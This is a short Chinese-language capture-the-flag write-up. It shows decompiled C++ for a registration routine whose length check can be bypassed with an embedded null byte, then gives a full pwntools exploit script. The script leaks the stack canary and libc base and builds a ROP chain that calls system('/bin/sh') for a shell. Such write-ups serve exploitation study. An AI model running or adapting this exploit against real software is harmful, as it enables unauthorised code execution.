c++栈溢出
程序开启的保护如下
程序在注册的地方存在着栈溢出漏洞
v20 = __readfsqword(0x28u);
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string(&v17);
do
{
memset(&s, 0, 0x40uLL);
memset(&dest, 0, 0x40uLL);
v1 = std::operator<<<std::char_traits<char>>(&std::cout, "-*- REGISTER -*-");
std::ostream::operator<<(v1, &std::endl<char,std::char_traits<char>>);
std::operator<<<std::char_traits<char>>(&std::cout, "Username: ");
std::operator>><char,std::char_traits<char>,std::allocator<char>>(&std::cin, &v17);
v2 = (const char *)std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::c_str(&v17);
if ( strlen(v2) > 0x40 )
{
v3 = std::operator<<<std::char_traits<char>>(&std::cout, "Your username is too long");
std::ostream::operator<<(v3, &std::endl<char,std::char_traits<char>>);
exit(-1);
}
v4 = std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::length(&v17);
v5 = (const void *)std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::c_str(&v17);
memcpy(&s, v5, v4);
std::operator<<<std::char_traits<char>>(&std::cout, "Password: ");
std::operator>><char,std::char_traits<char>,std::allocator<char>>(&std::cin, &v17);
v6 = (const char *)std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::c_str(&v17);
if ( strlen(v6) > 0x40 )
{
v7 = std::operator<<<std::char_traits<char>>(&std::cout, "Your password is too long");
std::ostream::operator<<(v7, &std::endl<char,std::char_traits<char>>);
exit(-1);
}
v8 = std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::length(&v17);
v9 = (const void *)std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::c_str(&v17);
memcpy(&dest, v9, v8);
v10 = std::operator<<<std::char_traits<char>>(&std::cout, "Confirm your username is \"");
v11 = std::operator<<<std::char_traits<char>>(v10, &s);
v12 = std::operator<<<std::char_traits<char>>(v11, "\"; password is \"");
v13 = std::operator<<<std::char_traits<char>>(v12, &dest);
v14 = std::operator<<<std::char_traits<char>>(v13, "\"");
std::ostream::operator<<(v14, &std::endl<char,std::char_traits<char>>);
std::operator<<<std::char_traits<char>>(&std::cout, "(y/n)? ");
}
while ( (unsigned __int8)getonechar() == 110 );
v15 = (Account *)operator new(0x48uLL);
Account::Account(v15, &s, &dest);
if ( *(_QWORD *)this )
*((_QWORD *)v15 + 8) = *(_QWORD *)this;
*(_QWORD *)this = v15;
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string(&v17, &s);
return __readfsqword(0x28u) ^ v20;
}
由于是c++写的程序输入用到了cin,虽然对输入的长度进行了判断,但是cin输入时候并不会对’\x00’进行截断,因此我们便可以绕过strlen的判断长度,已达到栈溢出的目的 ,最后的EXP如下
from pwn import *
from LibcSearcher import LibcSearcher
context.log_level='debug'
p=process('comment')
pop_rdi_retn=0x402363
p.recvuntil('>> ')
p.sendline('1')
def register(payload):
p.recvuntil("Username: ")
p.sendline("aaaa")
p.recvuntil("Password: ")
p.sendline(payload)
#leak canary
payload='a'*7+'\x00'
payload+='a'*0x41
register(payload)
def c(choice):
p.recvuntil("(y/n)? ")
p.sendline(choice)
c('n')
payload='a'*0x40
register(payload)
p.recvuntil('a'*0x48)
canary=u64(p.recv(8))-0x61
print hex(canary)
##leak libc
c('n')
payload='a'*7+'\x00'
payload+='a'*0x80
register(payload)
c('n')
payload='a'*0x40
register(payload)
p.recvuntil('a'*0x88)
libc_start_main=u64(p.recv(6)+'\x00\x00')-0xf0
print hex(libc_start_main)
libc = LibcSearcher('__libc_start_main', libc_start_main)
libcbase = libc_start_main - libc.dump('__libc_start_main')
system_addr = libcbase + libc.dump('system')
binsh_addr = libcbase + libc.dump('str_bin_sh')
print hex(system_addr)
##get shell
c('n')
payload='a'*7+'\x00'
payload+='a'*64
payload+=p64(canary)
payload+='a'*24
payload+=p64(pop_rdi_retn)
payload+=p64(binsh_addr)
payload+=p64(system_addr)
#gdb.attach(p)
register(payload)
p.recv()
p.sendline('y')
p.interactive()